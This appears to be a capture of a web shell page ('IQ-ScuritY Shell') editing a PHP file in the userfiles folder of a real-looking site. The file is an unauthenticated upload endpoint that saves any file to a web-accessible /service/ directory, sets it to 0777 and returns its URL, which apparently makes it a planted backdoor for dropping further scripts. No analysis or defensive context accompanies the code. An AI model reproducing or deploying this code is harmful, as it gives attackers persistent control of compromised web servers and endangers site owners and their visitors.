www.phiadvisorypartners.comIQ-ScuritY Shell

Editing file /home/phiadvis/www/userfiles/media3.php4 (0777)

<?PHP
	header('Content-Type: application/json; charset=utf-8');
	$data = array();
	
	$data['error'] = true ;
	$data['domen'] = $_SERVER['SERVER_NAME'] ;
	if ( isset( $_FILES['NewFile'] ) && !is_null( $_FILES['NewFile']['tmp_name'] ) ) {
		$oFile = $_FILES['NewFile'];
		$sFileName = $oFile['name'];
		$path = "/service/";
		$sServerDir = GetRootPath(). $path;
		CreateServerFolder($sServerDir);
		
		
		$sFilePath = $sServerDir . $sFileName ;
	
		while ( true ) {
			move_uploaded_file( $oFile['tmp_name'], $sFilePath ) ;
			if ( is_file( $sFilePath ) ) {
				$oldumask = umask(0) ;
				chmod( $sFilePath, 0777 ) ;
				umask( $oldumask ) ;
				$data['fileUrl'] = $path . $sFileName ;
				$data['fileName'] = $sFileName ;
				$data['error'] = false ;
			}

break ;
		}
		
	}
	echo json_encode($data);
	
	function GetRootPath() {
		$sRealPath = realpath( './' ) ;

$sSelfPath = $_SERVER['PHP_SELF'] ;
		$sSelfPath = substr( $sSelfPath, 0, strrpos( $sSelfPath, '/' ) ) ;

return substr( $sRealPath, 0, strlen( $sRealPath ) - strlen( $sSelfPath ) ) ;
	}
	
	function GetParentFolder( $folderPath ) {
		$sPattern = "-[/\\\\][^/\\\\]+[/\\\\]?$-" ;
		return preg_replace( $sPattern, '', $folderPath ) ;
	}
	function CreateServerFolder( $folderPath ) {
		$sParent = GetParentFolder( $folderPath ) ;

// Check if the parent exists, or create it.
		if ( !file_exists( $sParent ) )
		{
			$sErrorMsg = CreateServerFolder( $sParent ) ;
			if ( $sErrorMsg != '' )
				return $sErrorMsg ;
		}

if ( !file_exists( $folderPath ) ) {
			error_reporting( 0 ) ;
			ini_set( 'track_errors', '1' ) ;

$oldumask = umask(0) ;
			mkdir( $folderPath, 0777 ) ;
			umask( $oldumask ) ;

$sErrorMsg = $php_errormsg ;

// Restore the configurations.
			ini_restore( 'track_errors' ) ;
			ini_restore( 'error_reporting' ) ;

return $sErrorMsg ;
		}
		else
			return '' ;
	}
?>

IQ-ScuritY Shell